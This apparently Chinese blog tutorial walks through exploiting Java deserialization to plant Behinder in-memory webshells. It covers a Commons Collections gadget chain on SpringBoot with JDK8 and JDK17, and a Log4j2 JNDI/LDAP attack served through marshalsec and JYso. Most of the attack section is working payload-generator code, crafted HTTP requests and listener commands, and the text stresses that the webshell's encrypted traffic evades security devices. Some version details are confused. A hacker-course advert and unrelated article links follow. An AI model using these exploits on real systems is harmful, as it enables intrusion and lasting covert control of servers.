反序列化“打马”?不如说是“骑马”闯入内网!(非常详细)从零基础入门到精通,收藏这篇就够了

Java安全之反序列化回显与内存码,java程序设计项目化教程课后题答案 所以获取request的处理请求是 Connector—>AbstractProtocol$ConnectoinHandler—>global—>RequestInfo—>Request—>Response 而在Tomcat启动过程红会将Connector放入Service中。 而现在获取完成的流程是 StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInf 阅读详情

别再弹计算器了!反序列化漏洞的真正价值

现在一说反序列化漏洞复现,动不动就是弹个计算器,仿佛这玩意儿就是终极目标。弹计算器?这充其量就是个“hello world!”级别的验证而已。

诚然,弹计算器证明了命令执行,相当于拿到了服务器的shell。但问题是,直接命令执行,攻击者根本看不到回显,这不就跟盲人摸象一样?所以,反弹shell才是王道!

然而,今时不同往日,反弹shell的流量特征早就被各种安全设备盯死了。怎么办?注入内存马!直接怼个cmd内存马进去?那流量特征一样暴露无遗。所以,更高级的玩法是注入冰蝎马,利用冰蝎的加密流量来躲避检测。

一步到位:直接反序列化注入冰蝎内存马

靶场搭建:经典SpringBoot + JDK8,先跑起来再说!

先建个Maven项目,搞个SpringBoot2工程,JDK8伺候。别嫌老,经典款稳定!

<properties>
    <!-- 这里可以定义一些版本信息,比如JDK版本 -->
</properties>

<dependencies>
    <!-- SpringBoot相关依赖,web、test之类的 -->
</dependencies>

<dependencyManagement>
    <!-- SpringBoot的版本管理 -->
</dependencyManagement>

再来个启动类:

package org.example;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Application {

    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }

}

Controller是灵魂,接收参数,反序列化,一气呵成:

package org.example.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

@Controller
public class TestController {

    @ResponseBody
    @PostMapping("/Behinder")
    public String test(@RequestBody String data) throws Exception {
        byte[] decodedData = Base64.getDecoder().decode(data.substring(5)); // 去掉"data="前缀
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decodedData));
        ois.readObject();
        ois.close();
        return "success";
    }
}

序列化数据:JMG在手,冰蝎我有!

JMG(java-memshell-generator)这玩意儿是神器,专门用来生成各种内存马。

https://github.com/pen4uin/java-memshell-generator/

SpringBoot用Tomcat,没毛病。

注意:AbstractTranslet必须勾上!为啥?去看CC链的原理!

image.png

跑下面这段代码,生成冰蝎马的CC链恶意数据。Class文件路径改一下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class GeneratePayload {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, " pen4uin ");

        Field byteCodeField = templatesClass.getDeclaredField("_bytecodes");
        byteCodeField.setAccessible(true);
        byteCodeField.set(templates, new byte[][]{
                Files.readAllBytes(Paths.get("这里改成你的路径/Behinder.class"))
        });

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "value");

        Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        java.lang.reflect.Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(java.lang.annotation.Retention.class, transformedMap);

        FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
    }
}

“骑马”:发送恶意数据,注入冰蝎!

代码跑完会生成一个bin文件,base64编码走起!

image.png

把编码后的结果塞到数据包里,URL编码别忘了!

POST /Behinder HTTP/1.1
Content-Type: application/x-www-form-urlencoded

data=这里放你的URL编码后的Base64

验证:冰蝎连接,拿下shell!

服务器报错不用管,JMG说了,能连就行!

image.png

小结:CC链 + ClassLoader,内存马轻松get!

这就是经典的CC链反序列化,通过ClassLoader把冰蝎的恶意代码加载到内存,形成内存马。

JDK17:模块化地狱?不存在的!

问题:JDK17的模块化限制

用JDK17复现上面的靶场,会发现直接GG。因为JDK17引入了模块化的限制,需要满足以下条件才能成功调用:

  • 调用者和被调用者在同一个模块
  • 调用者模块与Object类所在的模块相同

解决:融入目标模块!

既然不能强上,那就曲线救国,把注入器放到目标的模块里!

  • SpringBoot3 + JDK17,直接创建,省事!
  • 添加CC链依赖
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.2</version>
</dependency>
  • Controller:controller.DemoController
import jakarta.servlet.http.HttpServletRequest;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

@Controller
public class DemoController {

    @ResponseBody
    @RequestMapping("/test")
    public String test(HttpServletRequest request) throws Exception {
        String payload = request.getParameter("data");
        byte[] decodedData = Base64.getDecoder().decode(payload);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decodedData));
        ois.readObject();
        ois.close();
        return "success";
    }
}
  • JMG生成冰蝎马,选择jakarta的监听器!高版本包名变了!务必勾选ByPass JDK Module!注入器的包名必须是org.apache.commons.collections.functors的子类!

image.png

  • 攻击类,生成恶意序列化数据:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.util.Base64;

public class Exploit {

    public static void main(String[] args) throws Exception {
        // Payload 构造
        org.apache.commons.collections.functors.ConstantTransformer constantTransformer = new org.apache.commons.collections.functors.ConstantTransformer(Runtime.getRuntime());
        org.apache.commons.collections.functors.InvokerTransformer invokerTransformer1 = new org.apache.commons.collections.functors.InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        org.apache.commons.collections.functors.ChainedTransformer chainedTransformer = new org.apache.commons.collections.functors.ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer1});
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        java.lang.reflect.Constructor declaredConstructor = cl.getDeclaredConstructor(new Class[]{Class.class, Map.class});
        declaredConstructor.setAccessible(true);
        Object instance = declaredConstructor.newInstance(new Object[]{Override.class, transformedMap});

        // 序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(instance);
        objectOutputStream.flush();
        objectOutputStream.close();
        byte[] serializeData = byteArrayOutputStream.toByteArray();
        byteArrayOutputStream.close();

        // Base64 编码
        String payload = Base64.getEncoder().encodeToString(serializeData);
        System.out.println(payload);
    }
}
  • 发包!500?200?能连就行!
POST /test HTTP/1.1
Content-Type: application/x-www-form-urlencoded

data=这里放你的Base64
  • 冰蝎连接!

image.png

LDAP:远程“骑马”,防不胜防!

说明:LDAP的反连特性

LDAP相比直接反序列化,需要反连。FastJson和Log4j2是两大重灾区。这里用1.2.24版本的Log4j2。

后续只需要修改Payload,JNDI服务器啥的都一样。

靶场:SpringBoot2,老朋友!

  • 原始配置搭建SpringBoot2
  • 导入依赖
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version> <!-- 保持版本一致 -->
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>
  • SpringBoot启动类,加个注解:
@SpringBootApplication
public class DemoApplication {

    public static void main(String[] args) {
        SpringApplication.run(DemoApplication.class, args);
    }

}
  • Bean,作为反序列化目标:
public class User {
    private String username;
    private String password;

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }
}
  • Controller:
@Controller
public class Log4jController {

    private static final Logger logger = LogManager.getLogger(Log4jController.class);

    @RequestMapping("/")
    @ResponseBody
    public String index(@RequestBody String data) {
        logger.error("Received data: " + data); // 使用error级别,确保输出
        return "success";
    }
}
  • 抓包!application/json是重点!
POST / HTTP/1.1
Content-Type: application/json

{"username":"${jndi:ldap://127.0.0.1:7777/BehinderTest}"}

攻击:JNDI + HTTP,双管齐下!

模仿JMG生成的BCEL,写个Class:

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.IOException;

public class BehinderTest implements Servlet {

    static {
        try {
            Runtime.getRuntime().exec("calc"); // 这里可以替换成更隐蔽的命令
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public void init(ServletConfig config) throws ServletException {
    }

    public ServletConfig getServletConfig() {
        return null;
    }

    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
    }

    public String getServletInfo() {
        return null;
    }

    public void destroy() {
    }
}

把BehinderTest.class放到一个目录,Python起个HTTP服务:

python -m http.server 4444

上传marshalsec-0.0.3-SNAPSHOT-all.jar,搭建LDAP服务器,目标访问7777,转发到4444,获取恶意类BehinderTest:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:4444/#BehinderTest" 7777

浏览器发包:

{
  "username": "${jndi:ldap://127.0.0.1:7777/BehinderTest}"
}

冰蝎4连接!

image.png

JDK8高版本:JYSO本地绕过,柳暗花明!

说明:JDK8u191后的限制

JDK8u191之后,上面的方法失效了,需要本地绕过。

工具:JYSO,一键起飞!

https://github.com/qi4L/JYso/

  • 监听:
java -jar JYso-1.3.4.jar -j
  • Payload:
ldap://127.0.0.1:1389/TomcatBypass/M-EX-MS-TFMSFromThread-bx
  • 冰蝎连接密码和请求头:
# 浏览器访问 ?/qi4l
  • 限制:springboot版本不能太高,本地工厂类会被修复。

073b12bcfc7429357e6fdc91e88f455f.png


```

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

[技术分享]记一次JeecgBoot实战分享 阅读详情

相关推荐

Shiro-EXP:Apache Shiro 反序列化漏洞检测与利用工具,一键注入内存马

项目介绍 基于Apache Shiro反序列化漏洞进行利用链的探测,附内存马。 利用时需要修改POST请求两处数据,分别为Header头RememberMe字段值和携带的data数据(由于payload设定,data中须指定名字为c的参数值)。 探测到利用链后,根据提示,将屏幕输出的payload粘贴至POST请求Header头RememberMe字段处,至于data携带的数据,自行决策,本文文末附内存马,可直接粘贴至data中使用,或自行生成指定命令的字节码片段替换。 与项目相关文章首发于: Shiro exp使用手册 Shiro rememberMe反序列化漏洞 漏洞原理 Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie,服务端对rememberMe的cookie值先base64解码然后AES解密再反序列化,就导

结合反序列化注入tomcat内存马

通过前几个内存马的学习我们可以知道,将内存马写在jsp文件上传并不是传统意义上的内存马注入,jsp文件本质上就是一个servlet,servlet会编译成class文件,也会实现文件落地。借用木头师傅的一张图结合反序列化注入内存马是动态注入内存马的常用方法,然而通过反序列化注入的方式没有jsp文件的request内置类,所以获取回显的方式我们也需要考虑,在此写下这篇文章分析总结反序列化注入的方法细节。读者福利 |优快云大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

白帽子凯哥哥的博客 1647

细聊Oracle通过ODBC数据源连接SQL Server数据库

    类似文章搜索引擎上有很多,内容大致相同,今天所谓细聊是因为我在借鉴这些文章时候走了些弯路,所以写此文,为自己备忘,同时如果能为初涉此处知识点的小伙伴提供些帮助就更好了,废话不多说。    我的应用场景:    项目系统使用oracle数据库,与客户的第三方系统供应商实现资源共享,对方为sql server数据库;    我的测试开发环境为64bitwin7PC机,本机上装有64位Oracl...

xueren_83的博客 1万+

Yso-Java Hack 进阶:利用反序列化漏洞打内存马

Yso-Java Hack 帮我们完成了很多需要代码操作的事情,而且支持自定义恶意类,可扩展性还是很强的,希望本篇文章可以给师傅们一些新思路,提高工作效率。Yso-Java Hack 帮我们完成了很多需要代码操作的事情,而且支持自定义恶意类,可扩展性还是很强的,希望本篇文章可以给师傅们一些新思路,提高工作效率。

Karka_的博客 724

【实战指南】Jaspersoft Studio + JasperReports:从零构建企业级PDF报表

本文详细介绍了如何使用Jaspersoft Studio和JasperReports从零构建企业级PDF报表。通过可视化设计、数据连接、模板设计到最终输出的全链路支持,这套组合方案显著降低了报表开发的维护成本。文章还提供了开发环境搭建、中文乱码解决方案、Java集成代码及性能优化技巧,适合需要高效生成复杂PDF报表的开发者。

weixin_42666036的博客 247

UE5多人联机实战:从零搭建LAN游戏房间(含UMG界面配置)

本文详细介绍了如何在UE5中从零开始搭建一个完整的局域网(LAN)多人游戏房间系统。内容涵盖项目基础配置、UMG主菜单设计、会话创建与搜索的核心实现,并重点解析了创建会话的关键参数配置与常见陷阱,帮助开发者快速掌握UE5多人联机开发的核心流程。

weixin_29001683的博客 690

如何通过反序列化进行打马(非常详细)从零基础入门到精通,收藏这篇就够了

整个过程其实就是一个CC链的反序列化,然后我们通过ClassLoader将冰蝎的逻辑导入内存中,形成内存马。是不是很简单?但威力却非常强大!

Javachichi的博客 1296

UE5实战技巧:TextRender高效集成中文字体与材质优化

本文针对UE5中TextRender组件显示中文的常见问题,提供了一套完整的实战解决方案。详细讲解了如何通过手动创建字体资产、精准控制字符集来优化性能,并重点介绍了通过调整材质中的Lerp节点参数(如设为-85, 92)来解决中文字体显示残缺和边缘模糊等核心难题,帮助开发者实现高效且美观的中文文本渲染。

weixin_28040125的博客 380

Base64字符串和Inputstream之间的相互转换

base64字符串转inputstream

Monster的博客 7765

大连海事大学课设题目/基于LM331的频率电压转换器

部分基于LM331的频压转换的实物连接问题

2301_76649592的博客 3227

自动驾驶开发者必看:nuscenes数据集23类物体标注全解析(附避坑指南)

本文深入解析nuscenes数据集的23类物体标注系统,为自动驾驶开发者提供全面的标注规范解读和实战避坑指南。涵盖多模态数据组织、类别细分规则、属性系统应用技巧以及标注质量验证方法,帮助开发者高效利用这一标杆数据集提升模型性能。

weixin_29041767的博客 256

如何用Android的sharepreference保存list数据集合

在Android开发过程中有时需要用到一些简单的数据保存。 在系统自带的sharedpreferences中提供了一些列的数据类型,但有时候需要保存一个List集合,系统则没有现成的方法: 以保存场景为例: public static String SceneList2String(List SceneList)             throws IOException {       //

蠹石sll 1423

Axure RP9 利用中继器实现列表数据的切换,分页器数据的动态交互加载

Axure RP9 利用中继器制作分页组件 在原型制作中,如何实现分页数据的动态加载、分页与数据的交互,每页显示条数的设定。下面通过制作五年级一班成绩单分页列表,分享给大家,适合有一定axure使用基础的人员,如有更好的方案,请多多指教。 最终效果图: 步骤1:首先利用中继器画出成绩单列表,并绑定成绩单数据。 步骤2:画出每页显示条数控制下拉框,利用中继器画出分页组件 步骤3:新增全局标量maxpage(显示的最多页码),minpage(显示的最小页码),i(循环计数),j(最循环数),selectpa

shandongmike的博客 6819

今天,咱不讲三国,就聊聊Shiro的反序列化漏洞,以及内存马技术!

Shiro反序列化漏洞 漏洞介绍 上图为Shiro默认的登录页面,页面可见:Shiro提供了记住我(RememberMe)的功能。 然而,Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行:序列化、AES加密、Base64编码,三个操作。 而在识别身份的时候,则需要对Cookie里的rememberMe字段进行逆操作: Base64解码 AES解密 反序列化 由于AES加密的密钥K

localhost01 8440

基于STM32L4XX、HAL库的TESEO-LIV4FTR定位模块驱动程序设计

支持多星座系统:GPS、GLONASS、Galileo和北斗。支持NMEA 0183协议和ST专有协议。高灵敏度:-167dBm跟踪灵敏度。低功耗设计,适合物联网和便携设备。内置LNA和SAW滤波器。

zhusl6688的博客 237

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

java反序列化漏洞注入内存马

jMG (Java Memshell Generator) 是一款支持高度自定义的 java 内存马生成工具,可作为 woodpecker 的插件使用,提供常见中间件的内存马注入支持。功能介绍支持的中间件 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/Spring)支持的网站管理工具 (Behinder/Godzilla/Custom)支持的内存马类型 (Filter/Listener/Interceptor)

moonteam的博客 1558

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

[漏洞复现]JeecgBoot queryFieldBySql注入内存马利用及JDBC RCE复现

[漏洞复现]JeecgBoot queryFieldBySql注入内存马利用及JDBC RCE复现

LiangYueSec的博客 5433

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

用 Goby 通过反序列化漏洞一键打入内存马【利用篇】

Goby 使用者无需任何配置,就可以一键打入内存马。

m0_46699477的博客 1394

内存马实战(持续更新中)

计划 复现以下框架的内存马注入: shiro(aes base64 加密) 普通内存马 冰蝎马 WebSocket马 xxl-job filter马 冰蝎马 netty内存马 agent内存马 JNDI(字节码里执行) SpringBoot spel表达式注入(spring cloud gateway) Struts2的ognl表达式注入 Tomcat的EL表达式注入 参考:https://gv7.me/articles/2022/the-spring-cloud-gatewa

qq_44657899的博客 7340

Java Memshell Generator 安装与配置指南

Java Memshell Generator 是一款支持高度自定义的 Java 内存马生成工具,主要用于安全研究和学习。它允许用户生成特定类型的内存马,以供在安全测试中使用。该项目使用 Java 编程语言开发。 ## 2. 关键技术和框架 本项目主要使用了以下技术和框架: - **Java**:作为主要的开发语言。 - **Maven**:用于项目的构建和依赖管理。 - **Spring*...

gitblog_00635的博客 961

Fst反序列化失败

title: Fst反序列化失败 tags: 缓存 fst 序列化 反序列化 version categories: dubbo date: 2017-08-23 18:18:52 背景 关于序列化貌似很久前写过一篇关于Object的 由于某些原因一直没有写完(好吧,承认年纪大了,老是忘) 还有关于dubbo使用hessianDubbo序列化之hessian2 现在的情况是大部分情况下Ja...

weixin_33708432的博客 2886

【189期】利用 Fastjson 注入 Spring MVC 内存马,太秀了~!

点击上方“Java精选”,选择“设为星标”别问别人为什么,多问自己凭什么!下方有惊喜,留言必回,有问必答!每天08:35更新文章,每天进步一点点...1、基础实际上java内存马的注入...

Java精选 628

反序列化分析到shiro注入WebSocket内存马

因为一直想要学习反序列化相关的内容,并且从反序列化延伸出来学习内存马,所以花了很大一部分精力,从CC1到CB,整体地过了一遍反序列化利用链。在学习过程中,发现一个很有意思的内存马,WebSocket内存马,感觉如果用的好的话,挺符合实际需要的,所以自己大体利用了一下,很成功,在这里整理分享出来。

weixin_42508548的博客 1442

反序列化漏洞(二)

序列化(Serialization)与反序列化(Deserialization)是数据处理中的两个重要过程,它们主要涉及到将数据结构或对象状态转换为可存储或传输的格式,以及将这些格式的数据恢复回原始的数据结构或对象状态,在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。

2302_80280669的博客 421

实战演练:基于快马平台复现网鼎杯WP中的Java反序列化漏洞攻击链

创建了一个接收POST请求的Controller,里面直接用ObjectInputStream反序列化用户传入的数据流——这就是最典型的危险操作。为了模拟真实场景,还在项目中放了一些包含getter/setter的业务类,这些类在反序列化时会被自动调用,为后续利用链创造条件。写了个简单的攻击客户端,先把构造好的恶意对象序列化成字节流,然后用HTTP客户端发送到目标端点。最近在研究CTF比赛的攻防技术,看到网鼎杯的WP里有个经典的Java反序列化漏洞案例特别有意思。这种漏洞在实际开发中也很常见,正好可以用。

IndigoNight21的博客 25
上一篇: CISP 考试避坑指南(非常详细)从零基础入门到精通,收藏这篇就够了
下一篇: 深度解析XSS攻击与防护之道,(非常详细)从零基础到精通,收藏这篇就够了!
程序员_大白
博客等级 码龄5年 1万+粉丝 4001原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值